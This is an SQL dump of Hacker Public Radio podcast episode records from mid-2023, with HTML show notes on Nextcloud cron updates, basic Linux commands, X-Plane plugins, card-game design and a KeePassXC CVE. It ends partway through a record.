(3872,'2023-06-06','Sgoti update with replies.',1730,'Sgoti talks about the Oh No News and replies to a few HPR shows.','<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3865\">hpr3865\n:: When did the Internet get so boring?</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3862\">hpr3862\n:: Firefox Extensions</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3860\">hpr3860\n:: Civilization II</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3857\">hpr3857\n:: Yesterday I saw a solar flare</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3856\">hpr3856\n:: Painting toy soldiers</a><br />\n</p>\n<p><a href=\"https://www.hackerpublicradio.org/eps.php?id=3851\">hpr3851\n:: Firefox extensions</a><br />\n</p>\n<p><a\nhref=\"http://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-May/015479.html\">Oh\nNo News Update email</a><br />\n</p>\n',391,0,0,'CC-BY-SA','Oh No News, Show Replies',0,0,1),
(3873,'2023-06-07','Nextcloud instance updating',153,'Automatic updating of Nextcloud Installation','<p>Things about environment:</p>\n<ul>\n<li>Headless server</li>\n<li>Nextcloud On Fedora 38</li>\n<li>Apache Web Server</li>\n<li>Nextcloud runs as apache user</li>\n<li>Nextcloud installed in alternate directory\n<code>/data/nextcloud</code></li>\n<li>Apps are being updated according to<br />\n<a href=\"http://hackerpublicradio.org/eps.php?id=3297\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=3297</a><br />\nAutomatically Update Nextcloud Applications via Cron</li>\n</ul>\n<pre><code>root@homeserver ~]# crontab -l -u apache\nMAILTO=NAME@domain.com\n# m h d m w\n# * * * * * command to be executed\n# - - - - -\n# | | | | |\n# | | | | +----- day of week (0 - 6) (Sunday=0)\n# | | | +------- month (1 - 12)\n# | | +--------- day of month (1 - 31)\n# | +----------- hour (0 - 23)\n# +------------- min (0 - 59)\n# m     h    dom mon dow command\n\n#Nextcloud\n#Cron Updates \n*/5 *   *   *   *   /usr/bin/php -f /data/nextcloud/cron.php &gt;/dev/null 2&gt;/dev/null\n#App Updates\n0   5   *   *   0   /usr/bin/php /data/nextcloud/occ app:update --all 2&gt;&amp;1\n#Update Next Cloud\n0   1   *   *   0   /usr/bin/php --define apc.enable_cli=1 /data/nextcloud/updater/updater.phar --no-interaction</code></pre>\n',273,0,1,'CC-BY-SA','Nextcloud,SysAdmin,Admin',0,0,1),
(3875,'2023-06-09','Parlons Linux Season 1 Episode 7, le sticky bit',340,'A sample episode from a new entry to the Free Culture Podcast list','<ul>\n<li>Website URL: <a href=\"https://parlonslinux.fr/@ParlonsLinuxFR\">https://parlonslinux.fr/@ParlonsLinuxFR</a></li>\n<li>RSS/Atom Feed URL: <a href=\"https://parlonslinux.fr/@ParlonsLinuxFR/feed.xml\">https://parlonslinux.fr/@ParlonsLinuxFR/feed.xml</a></li>\n<li>Creative Commons License: <a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">CC BY-SA 3.0</a></li>\n<li>Sample Episode URL: <a href=\"https://parlonslinux.fr/@ParlonsLinuxFR/episodes/le-sticky-bit\">https://parlonslinux.fr/@ParlonsLinuxFR/episodes/le-sticky-bit</a></li>\n<li>Free Culture Podcasts: <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></li>\n</ul>\n',30,75,1,'CC-BY-SA','freeculturepodcasts,creative commons,Parlons Linux',0,0,1),
(3885,'2023-06-23','L\'apéro des Papas Manchots podcast, Rencontre avec le vétérinaire du Libre',7315,'A sample episode from the latest entry to the Free Culture Podcast','<ul>\n<li>Website URL: <a href=\"http://donkluivert.cluster1.easy-hebergement.net/\">http://donkluivert.cluster1.easy-hebergement.net/</a></li>\n<li>RSS/Atom Feed URL: <a href=\"https://feeds.feedburner.com/easy-hebergement/EuLV\">https://feeds.feedburner.com/easy-hebergement/EuLV</a></li>\n<li>Creative Commons License: <a href=\"https://creativecommons.org/licenses/by-nc-sa/4.0/\">CC BY-NC-SA 4.0</a></li>\n<li>Sample Episode URL: <a href=\"https://donkluivert.cluster1.easy-hebergement.net/2022/11/23/rencontre-avec-le-veterinaire-du-libre/\">https://donkluivert.cluster1.easy-hebergement.net/2022/11/23/rencontre-avec-le-veterinaire-du-libre/</a></li>\n<li>Free Culture Podcasts: <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></li>\n</ul>\n\n',30,75,1,'CC-BY-SA','FreeCulturePodcast,Creative Commons,L\'apéro des Papas Manchots',0,0,1),
(3879,'2023-06-15','HPR at Hillend',2747,'MrX and Dave Morriss have lunch and record a chat','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave\nMorriss</a></li>\n</ul>\n<p>We recorded this on Saturday May 20<sup>th</sup> 2023. We met in\nperson again, and as before first visited the pub called <em>The\nSteading</em> where we had lunch. Then we adjourned to Dave’s Citroen\ncar (<em>Studio C</em>) in the car park, and recorded a chat.</p>\n<p>The region where we met is close to a village called\n<em>Hillend</em>, which led to the show title.</p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>ChatGPT:\n<ul>\n<li>MrX did two shows in May using ChatGPT. He has used it more than\nDave has.</li>\n<li>MrX has an iPhone and can use ChatGPT from it. He uses it as a\nsource of information when out and about. For instance, to find out\nabout the history of <a\nhref=\"https://en.wikipedia.org/wiki/Musselburgh\">Musselburgh</a>\nHarbour.</li>\n<li>MrX has also used ChatGPT to write experimental Python scripts.</li>\n<li>There is a <a\nhref=\"https://www.ted.com/talks/greg_brockman_the_inside_story_of_chatgpt_s_astonishing_potential/c?language=en\">TED\ntalk by Greg Brockman</a>, the inventor of ChatGPT.</li>\n<li>Discussion of the <a href=\"https://callannie.ai/\"><em>Call\nAnnie</em></a> app</li>\n<li><a href=\"https://en.wikipedia.org/wiki/ELIZA\">ELIZA</a> the program\nthat was written in the 1960s and simulated conversation well enough to\nconvince people.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Audacity/Tenacity audio editors:\n<ul>\n<li>Web sites: <a href=\"https://support.audacityteam.org/\">Audacity</a>\nand <a href=\"https://tenacityaudio.org/\">Tenacity</a>.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Audacity_(audio_editor)\">Audacity\nWikipedia page</a></li>\n<li>MrX and Dave have both used Audacity for several years.</li>\n<li>Audacity was forked after it was taken over by <a\nhref=\"https://mu.se/\">Muse Group</a>, and Tenacity was developed.\nHowever, it doesn’t seem that there have been any releases on Tenacity\nto date.</li>\n<li>The most recent versions of Audacity have contained changes - in\nparticular the way the audio project is stored has changed. Instead of a\ndirectory filled with various files there is now a single project file\nwith the extension <code>.aup3</code> which is a SQLite database. This\nwas changed in March 2021 for Version 3.0.\n<ul>\n<li>Previously Audacity stored the project as a file called\n<code>&lt;project&gt;.aup</code> and a directory called\n<code>&lt;project&gt;_data/</code> containing sub-directories and\nfiles.</li>\n</ul></li>\n<li>MrX reports changes in the way multiple tracks are handled. Dave\nfinds that the horizontal scrollbar has disappeared (which seems to be a\nbug).</li>\n</ul></li>\n</ul>\n<ul>\n<li>Dr John Campbell:\n<ul>\n<li><a\nhref=\"https://www.youtube.com/channel/UCF9IOB2TExg3QIBupFtBDxg\">YouTube\nchannel</a></li>\n<li>During the COVID-19 epidemic the channel contained a lot of\ninformation about the SARS-CoV-2 virus, vaccines, disease, treatments,\netc, which seemed to be helpful and well researched.</li>\n<li>At one point there was a lot of talk about Ivermectin as a drug that\ncould help with the disease, but although this received no support from\nscientific research, it seemed to be receiving more and more exposure on\nthe channel.</li>\n<li>From then on the quality of the content on the channel seemed to\ndeteriorate, and it no longer seems trustworthy.</li>\n<li>Other sources have been critical, including <a\nhref=\"https://www.youtube.com/@DebunktheFunkwithDrWilson/about\"><em>Debunk\nthe Funk with Dr Wilson</em></a></li>\n</ul></li>\n</ul>\n<ul>\n<li>The Doctor Who Exhibition:\n<ul>\n<li>Dave met with Andrew Conway and Andrew’s friend, and all went to the\nexhibition held at the National Museum of Scotland.</li>\n<li>The exhibition contained a lot of Doctor Who memorabilia, including\nsome original props.</li>\n<li>MrX and the group that went to the exhibition have all watched\nDoctor Who over the years. All have lost interest at some point but then\nresumed, particularly after the show was restarted in 2005 with\nChristopher Eccleston and Billie Piper.</li>\n<li>Discussion about the <a\nhref=\"https://en.wikipedia.org/wiki/BBC_Radiophonic_Workshop\">BBC\nRadiophonic Workshop</a> where the Doctor Who sound effects were made as\nwell as the signature tune. Also the <a\nhref=\"https://en.wikipedia.org/wiki/Mellotron\">Mellotron</a>, a keyboard\nthat played tape loops.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Mechanical musical instruments:\n<ul>\n<li>The Swedish band <a\nhref=\"https://en.wikipedia.org/wiki/Wintergatan\"><em>Wintergatan</em></a>\nuse mechanical instruments in their music and <a\nhref=\"https://en.wikipedia.org/wiki/Martin_Molin\">Martin Molin</a>, a\nband member is responsible for some of them. He did a series on YouTube\nabout mechanical instruments: <a\nhref=\"https://www.youtube.com/playlist?list=PLLLYkE3G1HEBO1slIc1RRfcfSsGyv2oMu\"><em>Music\nMachine Mondays</em></a> at the <a\nhref=\"https://en.wikipedia.org/wiki/Museum_Speelklok\">Museum\nSpeelklok</a> in Utrecht which is great to watch if you are\ninterested.</li>\n<li>Dave also mentioned musical instrument museums in <a\nhref=\"https://en.wikipedia.org/wiki/Berlin_Musical_Instrument_Museum\">Berlin</a>\nand <a\nhref=\"https://en.wikipedia.org/wiki/Musical_Instrument_Museum,_Brussels\">Brussels</a>.</li>\n<li>MrX mentioned a museum in <a\nhref=\"https://en.wikipedia.org/wiki/Dalbeattie\">Dalbeattie</a>, a town\nin <a\nhref=\"https://en.wikipedia.org/wiki/Dumfries_and_Galloway\">Dumfries and\nGalloway</a> in the Scottish Borders. In the <a\nhref=\"http://www.dalbeattiemuseum.co.uk/\">museum</a> there had been a\nchance to play a barrel organ.</li>\n</ul></li>\n</ul>\n<ul>\n<li>YouTube channels:\n<ul>\n<li>Dave:\n<ul>\n<li>(Mentioned earlier) <a\nhref=\"https://www.youtube.com/@DebunktheFunkwithDrWilson/about\"><em>Debunk\nthe Funk with Dr Wilson</em></a> - the host, Dan Wilson, has a Ph.D. in\nmolecular biology that covers bad science while making good science\naccessible. The channel focuses mainly on pseudoscience surrounding the\nanti-vaccine movement and COVID misinformation.</li>\n<li><a\nhref=\"https://www.youtube.com/@littlechineseeverywhere\"><em>Little\nChinese Everywhere</em></a> - Yan is a Human Geographer who studied in\nSwitzerland. The first season was “<em>The Longest Way Back Home\n(Switzerland to China)</em>” where she travelled over land to China. She\nis now producing videos for season 2 about China itself. She plans to\nvisit every province in mainland China and make videos.\n<ul>\n<li>Dave mentioned the episode about <a\nhref=\"https://www.youtube.com/watch?v=ZrO08P4-T-g\">Yanjin City in\nYunnan</a>. It is mentioned in Wikipedia as the <a\nhref=\"https://en.wikipedia.org/wiki/Yanjin_County,_Yunnan\">“World’s\nNarrowest City”</a>, either side of the narrow Heng River valley, a\ntributary of the Yangtze.</li>\n</ul></li>\n</ul></li>\n<li>MrX:\n<ul>\n<li><a href=\"https://www.youtube.com/@RonMattino\">Ron Mattino</a> - a\nchannel dedicated to electronics, programming and engineering.\n<ul>\n<li>Mentioned episode about the pins on a smartphone battery: <a\nhref=\"https://www.youtube.com/watch?v=Sb4aVHoeo90\">Why do MOBILE\nBATTERIES have THREE terminals? A simple Explanation.</a></li>\n</ul></li>\n</ul></li>\n</ul></li>\n</ul>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Artificial Intelligence:\n<ul>\n<li><a href=\"https://openai.com/blog/chatgpt\">ChatGPT</a></li>\n<li><a\nhref=\"https://www.ted.com/talks/greg_brockman_the_inside_story_of_chatgpt_s_astonishing_potential/c?language=en\">TED\ntalk by Greg Brockman</a></li>\n<li><a href=\"https://callannie.ai/\"><em>Call Annie</em></a>\napplication</li>\n<li><a href=\"https://en.wikipedia.org/wiki/ELIZA\">ELIZA</a> early\n<em>chatbot</em></li>\n</ul></li>\n</ul>\n<ul>\n<li>Audio editing:\n<ul>\n<li><a href=\"https://support.audacityteam.org/\">Audacity web\nsite</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Audacity_(audio_editor)\">Audacity\nWikipedia page</a></li>\n<li><a href=\"https://tenacityaudio.org/\">Tenacity web site</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Science misinformation:\n<ul>\n<li><a\nhref=\"https://www.youtube.com/channel/UCF9IOB2TExg3QIBupFtBDxg\">Dr John\nCampbell’s YouTube channel</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Doctor Who:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/BBC_Radiophonic_Workshop\">BBC\nRadiophonic Workshop</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Mechanical musical instruments:\n<ul>\n<li><a\nhref=\"https://www.youtube.com/playlist?list=PLLLYkE3G1HEBO1slIc1RRfcfSsGyv2oMu\"><em>Music\nMachine Mondays</em></a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Museum_Speelklok\">Museum\nSpeelklok</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Berlin_Musical_Instrument_Museum\">Berlin\nmusic museum</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Musical_Instrument_Museum,_Brussels\">Brussels\nmusic museum</a></li>\n<li><a href=\"http://www.dalbeattiemuseum.co.uk/\">Dalbeattie\nmuseum</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>YouTube:\n<ul>\n<li><a\nhref=\"https://www.youtube.com/@DebunktheFunkwithDrWilson/about\"><em>Debunk\nthe Funk with Dr Wilson</em></a></li>\n<li><a\nhref=\"https://www.youtube.com/@littlechineseeverywhere\"><em>Little\nChinese Everywhere</em></a></li>\n<li><a href=\"https://www.youtube.com/@RonMattino\">Ron Mattino</a></li>\n</ul></li>\n</ul>\n</article>\n',225,0,1,'CC-BY-SA','Edinburgh, Hillend, discussion',0,0,1),
(3878,'2023-06-14','Linux commands to gather information about your system',557,'You need this information to understand your system better','<p><a href=\"https://www.redhat.com/sysadmin/linux-system-info-commands\"\nclass=\"uri\">https://www.redhat.com/sysadmin/linux-system-info-commands</a></p>\n<ul>\n<li>The various ls commands lscpu, lsblk, lspci,</li>\n<li>The disk commands df, fdisk and mount</li>\n<li>Usbutils</li>\n<li>pciutils</li>\n</ul>\n<p>Free</p>\n<pre><code>dmidecode -t memory or -t bios or -t system</code></pre>\n',129,0,0,'CC-BY-SA','system, memory, Cpu, ls',0,0,1),
(3881,'2023-06-19','Xplane_VatSim_2022',1181,'I talk about vatsim and xplane Obsession','<p><a\nhref=\"https://github.com/freeload101/SCRIPTS/tree/master/VatSim_OLD\"\nclass=\"uri\">https://github.com/freeload101/SCRIPTS/tree/master/VatSim_OLD</a></p>\n<h1 id=\"xplane11\">Xplane11</h1>\n<p>This repo is dedicated to xplane plugin automation!</p>\n<h1 id=\"vatsim-docs\">VATSIM DOCS</h1>\n<p><a\nhref=\"https://rmccurdy.com/.scripts/downloaded/VATSIM/TRAINING_CBT_ZAE_ZTL_BIBLE_S1_S2_20210402.zip\"\nclass=\"uri\">https://rmccurdy.com/.scripts/downloaded/VATSIM/TRAINING_CBT_ZAE_ZTL_BIBLE_S1_S2_20210402.zip</a></p>\n<ul>\n<li>Scenery Zhenhao Yang: <a\nhref=\"https://forums.x-plane.org/index.php?/files/file/39173-atlanta-vfr/\"\nclass=\"uri\">https://forums.x-plane.org/index.php?/files/file/39173-atlanta-vfr/</a><br />\n<a href=\"https://simheaven.com/simdownloads/x-america/\"\nclass=\"uri\">https://simheaven.com/simdownloads/x-america/</a><br />\n<a\nhref=\"https://forums.x-plane.org/index.php?/files/file/36327-us-orthophotos/\"\nclass=\"uri\">https://forums.x-plane.org/index.php?/files/file/36327-us-orthophotos/</a>\nor <a href=\"https://verticalsims.com/vorthos/\"\nclass=\"uri\">https://verticalsims.com/vorthos/</a></li>\n</ul>\n<p><em>logic:</em></p>\n<ul>\n<li>check for admin</li>\n<li>check for xplane binary</li>\n<li>have config file and folder for plugins/resources to be\nimported</li>\n<li>prompt install of stuff if found in the folders for Ortho4XP or\nalpilotx</li>\n<li>backup files to be modified</li>\n<li>automate Ortho4XP</li>\n<li>automate alpilotx</li>\n<li>automate common plugin installs (traffic / lighting / models/planes\netc)</li>\n</ul>\n<p><em>Models:</em></p>\n<ul>\n<li>ZIBO 737-800 <a\nhref=\"https://drive.google.com/file/d/1v-mBJ92EpV5sDPbH4s-T4EYmL2WQsZJf/view?usp=sharing\"\nclass=\"uri\">https://drive.google.com/file/d/1v-mBJ92EpV5sDPbH4s-T4EYmL2WQsZJf/view?usp=sharing</a></li>\n<li>Ultimate 737-700</li>\n<li>Ultimate 737-900</li>\n<li>Flight Factor B777-200LR</li>\n<li>Default B747-400 ???</li>\n</ul>\n<p><em>Utilities:</em></p>\n<ul>\n<li>LiveTraffic</li>\n</ul>\n<p><em>Todo Plugins?:</em></p>\n<ul>\n<li><p><a\nhref=\"https://forums.x-plane.org/index.php?/files/file/50472-single-pilot-assistant-for-zibo-mod-737-800/&amp;tab=reviews&amp;sort=newest#review-81477\"\nclass=\"uri\">https://forums.x-plane.org/index.php?/files/file/50472-single-pilot-assistant-for-zibo-mod-737-800/&amp;tab=reviews&amp;sort=newest#review-81477</a></p></li>\n<li><p>Autogate</p></li>\n<li><p>FlyWithLua ?</p></li>\n<li><p>Zibo 737-800x</p></li>\n<li><p>Headshake</p></li>\n<li><p>Vivid Sky</p></li>\n<li><p>Airport Environment HD</p></li>\n<li><p>Terrain Radar</p></li>\n<li><p>Avitab</p></li>\n<li><p>VFR Photo Scenery</p></li>\n<li><p>Aerosoft MegaAirports</p></li>\n<li><p>XTraffic</p></li>\n<li><p>XPFlightplanner</p></li>\n<li><p>XSquawkBox</p></li>\n<li><p>x-vision.pro</p></li>\n<li><p>FlyWithLua</p></li>\n<li><p>betterpushback</p></li>\n<li><p>betterpushbackc ?!? (not working for my build )</p></li>\n<li><p><a href=\"http://www.xsquawkbox.net/xpsdk/mediawiki/DataRefEditor\"\nclass=\"uri\">http://www.xsquawkbox.net/xpsdk/mediawiki/DataRefEditor</a></p></li>\n<li><p>PlaneCommand</p></li>\n<li><p>SomCoders</p></li>\n<li><p>Terrain Radar</p></li>\n<li><p><a\nhref=\"https://www.reddit.com/r/flightsim/comments/7tbcsh/shoutoutreview_forkboy2s_orthophotos/\"\nclass=\"uri\">https://www.reddit.com/r/flightsim/comments/7tbcsh/shoutoutreview_forkboy2s_orthophotos/</a>\n?</p></li>\n<li><p><a\nhref=\"https://forums.x-plane.org/index.php?/files/file/43314-webfmc/\"\nclass=\"uri\">https://forums.x-plane.org/index.php?/files/file/43314-webfmc/</a></p></li>\n</ul>\n<p><em>Things to learn</em></p>\n<ul>\n<li><p>stab trim</p></li>\n<li><p>inop</p></li>\n<li><p>GPU/CPU tune <a\nhref=\"https://www.x-plane.com/manuals/desktop/#settingtherenderingoptionsforbestperformance\"\nclass=\"uri\">https://www.x-plane.com/manuals/desktop/#settingtherenderingoptionsforbestperformance</a></p></li>\n</ul>\n<p><em>Help/FAQ:</em></p>\n<ul>\n<li><p>reset FMC by setting a new origin</p></li>\n<li><p>save views CTRL+NUMBERPAD recall NUMBERPAD</p></li>\n<li><p>Scenery ini <a\nhref=\"http://www.pterosaur.org.uk/Xplane10/Setup/Problem_Solving/Problems.html\"\nclass=\"uri\">http://www.pterosaur.org.uk/Xplane10/Setup/Problem_Solving/Problems.html</a></p></li>\n<li><p>This file order is:</p>\n<p>All add on airports at the top of the list (Important)</p>\n<pre><code>  Aerosoft default airports (Do Not rename)\n\n  Demo Airports (Do Not rename)\n\n  Global airports (Do Not rename - Keep below ALL airports)\n\n       Library files (Can be anywhere, but I put them below airports)\n\n       Landscape scenery files (Keep below the airports they may affect)\n\n             Ortho (Below all airports)\n\n              Mesh (Below ortho)</code></pre></li>\n</ul>\n',36,0,0,'CC-BY-SA','video games,vatsim, simulators',0,0,1),
(3886,'2023-06-26','light saber zzz ohh no!',1242,'I talk about my problem with light savers ...','<p><a\nhref=\"https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.mp4\"\nclass=\"uri\">https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.mp4</a></p>\n<p><a\nhref=\"https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.zip\"\nclass=\"uri\">https://rmccurdy.com/stuff/Neopixel_Proffie_Sound_Font_ReynTime.zip</a></p>\n<p>lightsaber in customization and skills saber <a\nhref=\"https://www.crimsondawn.com/products/mystery-box?variant=33206141681741\"\nclass=\"uri\">https://www.crimsondawn.com/products/mystery-box?variant=33206141681741</a>\nI paid $268USD for Neopixel Proffie : <a\nhref=\"https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF\"\nclass=\"uri\">https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF</a></p>\n',36,0,0,'CC-BY-SA','light sabers,star warz,cat,lul cats,memes',0,0,1),
(3882,'2023-06-20','Alternatives to the cd command',632,'Navigate your filesystem without cd','<p>Five or six ways I could think of to roam the files of your Linux computer without <code>cd</code>.</p>\n\n<h2 id=\"pushd-and-popd-dirs\">pushd and popd dirs</h2>\n<p><a href=\"https://en.wikipedia.org/wiki/Pushd_and_popd\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Pushd_and_popd</a></p>\n<p>The pushd command, when called with a filepath as an argument, saves\nthe current working directory in memory (via a directory stack) so it\ncan be returned to at any time, places the new filepath at the top of\nthe stack, and changes to the new filepath. The popd command returns to\nthe path at the top of the directory stack.</p>\n<h2 id=\"cd--\">cd -</h2>\n<p>From <code>man bash</code> An argument of - is converted to $OLDPWD\nbefore the directory change is attempted.</p>\n<h2 id=\"variables\">Variables</h2>\n<pre><code>EXPORT mydir=&quot;/path/to/file/&quot;\ncd ${mydir}</code></pre>\n<h2 id=\"history-and-histverify\">History and histverify</h2>\n<p>Using !number from the history command will execute the command</p>\n<pre><code>[user@pc ~]$ history\n1  cd tmp\n2  cd ~\n3  history\n\n[user@pc ~]$ !3\ncd tmp\n[user@pc tmp]$\n</code></pre>\n<p>from the man command</p>\n<pre><code>       shopt [-pqsu] [-o] [optname ...]\n              Toggle the values of settings controlling optional shell behavior.\n              ...\n              -s     Enable (set) each optname.\n              -u     Disable (unset) each optname.</code></pre>\n<p>Now using !number from the history command will put the command on\nthe prompt but you need to execute it yourself</p>\n<pre><code>[user@pc ~]$ shopt -s histverify\n[user@pc ~]$ !39673\n[user@pc ~]$ cd tmp</code></pre>\n<h2 id=\"autocd-command\">autocd command</h2>\n<pre><code>[ken@kalani ~]$ shopt -s autocd\n[ken@kalani ~]$ tmp\ncd -- tmp\n[ken@kalani tmp]$ ~\ncd -- /home/ken</code></pre>\n<h2 id=\"working-without-changing-to-directory\">working without changing\nto directory</h2>\n<pre><code>[ken@kalani ~]$ ls tmp</code></pre>\n',78,42,0,'CC-BY-SA','bash,linux',0,0,1),
(3887,'2023-06-27','10 must-know commands for a new cloud admin',1499,'Learn these essential Linux commands so you know how to run your cluster','<p>Learn Linux basics so you can manage your cluster.</p>\n<p>\n<small>Added by Ken</small>\n</p>\n\n<ol>\n<li><a href=\"https://kubernetes.io/docs/reference/kubectl/\">kubectl</a></li>\n<li><a href=\"https://curl.se/\">curl</a></li>\n<li><a href=\"https://linux.die.net/man/1/unzip\">unzip</a></li>\n<li><a href=\"https://linux.die.net/man/1/tar\">tar</a></li>\n<li><a href=\"https://linux.die.net/man/8/sudo\">sudo</a></li>\n<li><a href=\"https://linux.die.net/man/1/mv\">mv</a></li>\n<li><a href=\"https://linux.die.net/man/1/chmod\">chmod</a></li>\n<li><a href=\"https://askubuntu.com/questions/320632/why-do-i-need-to-type-before-executing-a-program-in-the-current-directory\">Using ./ before a script in the current directory</a></li>\n<li><a href=\"https://linux.die.net/man/1/cd\">cd to change directory</a></li>\n<li><a href=\"https://linux.die.net/man/1/ls\">ls</a></li>\n<li><a href=\"https://linux.die.net/man/1/echo\">echo</a></li>\n<li><a href=\"https://man7.org/linux/man-pages/man1/export.1p.html\">export</a></li>\n</ol>\n\n',78,0,0,'CC-BY-SA','cloud,kubernetes,containers,pod',0,0,1),
(3893,'2023-07-05','Game card design resources',2251,'How design card','<p><strong>Concepts</strong></p>\n\n<p>A poker deck is a great starting point for developing game mechanics without getting distracted by what the game assets will look like. Playing cards have lots of unique things you can structure game play around, like two colours, four suits, face cards, Joker, and so on.</p>\n\n<p>Tarot cards add even more variety, because a tarot deck usually has unique art on every card, which provides you plenty of elements to work with. Etsy has lots of custom tarot decks that are beautifully designed by indie artists.</p>\n\n<p><strong>Design</strong></p>\n\n<p>TheGameCrafter.com has <a href=\"https://s3.amazonaws.com/www.thegamecrafter.com/templates/bridge-card.svg\" target=\"_blank\">card templates</a> for Inkscape.</p>\n\n<p>An easier option is to use LibreOffice Draw. Go to <strong>Page</strong> &gt; <strong>Page Properties</strong>  &gt; and set page size to 57mm x 89mm (2.25 x 3.5 inches).</p>\n<p>Minimalism is a great tool for any content creator on a budget. Think of the simplest requirement to convey your game mechanic. If your cards look better than your game mechanics play, nobody\'s going to play your game. Spend your time and effort on the game, not the design. (There\'s a balance to be struck, though. If your game assets make no sense and people can\'t figure out how to play the game, that\'s a problem too.)</p>\n\n<p><strong>Resources</strong></p>\n<dl>\n<dd><a target=\"_blank\" href=\"http://arcmage.org/artwork\">Arcmage.org</a></dd>\n<dd><a target=\"_blank\" href=\"https://gitlab.com/notklaatu/petition-card-game\">Petition card game</a></dd>\n<dd><a target=\"_blank\" href=\"http://opengameart.org\">Open Game Art</a></dd>\n<dd><a target=\"_blank\" href=\"http://freesvg.org\">Freesvg.org</a></dd>\n</dl>\n<p>You can also look through places like Artstation.com and Deviantart.com, but finding Creative Commons and consistent-looking art is a challenge.\n</p>\n\n',78,95,0,'CC-BY-SA','game,design',0,0,1),
(3888,'2023-06-28','KeePassXC recent CVE',588,'Sgoti talks about KeePassXC\'s security model and a recent CVE.','<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://keepassxc.org/blog/2023-06-20-cve-202335866/\">Discussion\non CVE-2023&#x2013;35866</a><br />\n\n<ul>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-35866\">CVE-2023-35866</a><br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Security_theater\">Security\ntheater</a><br />\n\n<ul>\n<li><strong>Security theater</strong> is the practice of taking <a\nhref=\"https://en.wikipedia.org/wiki/Security\">security measures</a> that\nare considered to provide the feeling of improved security while doing\nlittle or nothing to achieve it<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://keepassxc.org/docs/\">KeePassXC: Documentation and\nFAQ</a><br />\n\n<ul>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://keepassxc.org/docs/KeePassXC_GettingStarted#_backing_up_a_database_file\">KeePassXC:\nGetting Started Guide</a><br />\n</li>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://keepassxc.org/docs/KeePassXC_UserGuide\">KeePassXC: User\nGuide</a><br />\n</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','KeePassXC, CVE-2023–35866',0,0,1),
(3889,'2023-06-29','comm - compare two sorted files line by line',195,'A great tool to quickly find the differences between two files','<p>From the man page \"comm - compare two sorted files line by line\"</p>\n<p>It\'s part of the core utils package and you can install it using\n<code>dnf install coreutils</code> on RPM distros, or\n<code>apt install coreutils</code> on Debian based ones.</p>\n<pre><code>[host@hpr]$ man comm\n\nCOMM(1)                               User Commands                              COMM(1)\n\nNAME\n       comm - compare two sorted files line by line\n\nSYNOPSIS\n       comm [OPTION]... FILE1 FILE2\n\nDESCRIPTION\n       Compare sorted files FILE1 and FILE2 line by line.\n\n       When FILE1 or FILE2 (not both) is -, read standard input.\n\n       With no options, produce three-column output.  Column one contains lines unique to FILE1,\n       column two contains lines unique to FILE2, and column three contains lines common to both\n       files.\n\n       -1     suppress column 1 (lines unique to FILE1)\n\n       -2     suppress column 2 (lines unique to FILE2)\n\n       -3     suppress column 3 (lines that appear in both files)\n\n       --check-order\n              check that the input is correctly sorted, even if all input lines are pairable\n\n       --nocheck-order\n              do not check that the input is correctly sorted\n\n       --output-delimiter=STR\n              separate columns with STR\n\n       --total\n              output a summary\n\n       -z, --zero-terminated\n              line delimiter is NUL, not newline\n\n       --help display this help and exit\n\n       --version\n              output version information and exit\n\n       Note, comparisons honor the rules specified by &#39;LC_COLLATE&#39;.\n\nEXAMPLES\n       comm -12 file1 file2\n              Print only lines present in both file1 and file2.\n\n       comm -3 file1 file2\n              Print lines in file1 not in file2, and vice versa.\n\nAUTHOR\n       Written by Richard M. Stallman and David MacKenzie.\n\nREPORTING BUGS\n       GNU coreutils online help: &lt;https://www.gnu.org/software/coreutils/&gt;\n       Report any translation bugs to &lt;https://translationproject.org/team/&gt;\n\nCOPYRIGHT\n       Copyright &#xA9; 2022 Free Software Foundation, Inc.  License GPLv3+: GNU GPL version 3 or later\n       &lt;https://gnu.org/licenses/gpl.html&gt;.  This is free software: you are free to change and\n       redistribute it.  There is NO WARRANTY, to the extent permitted 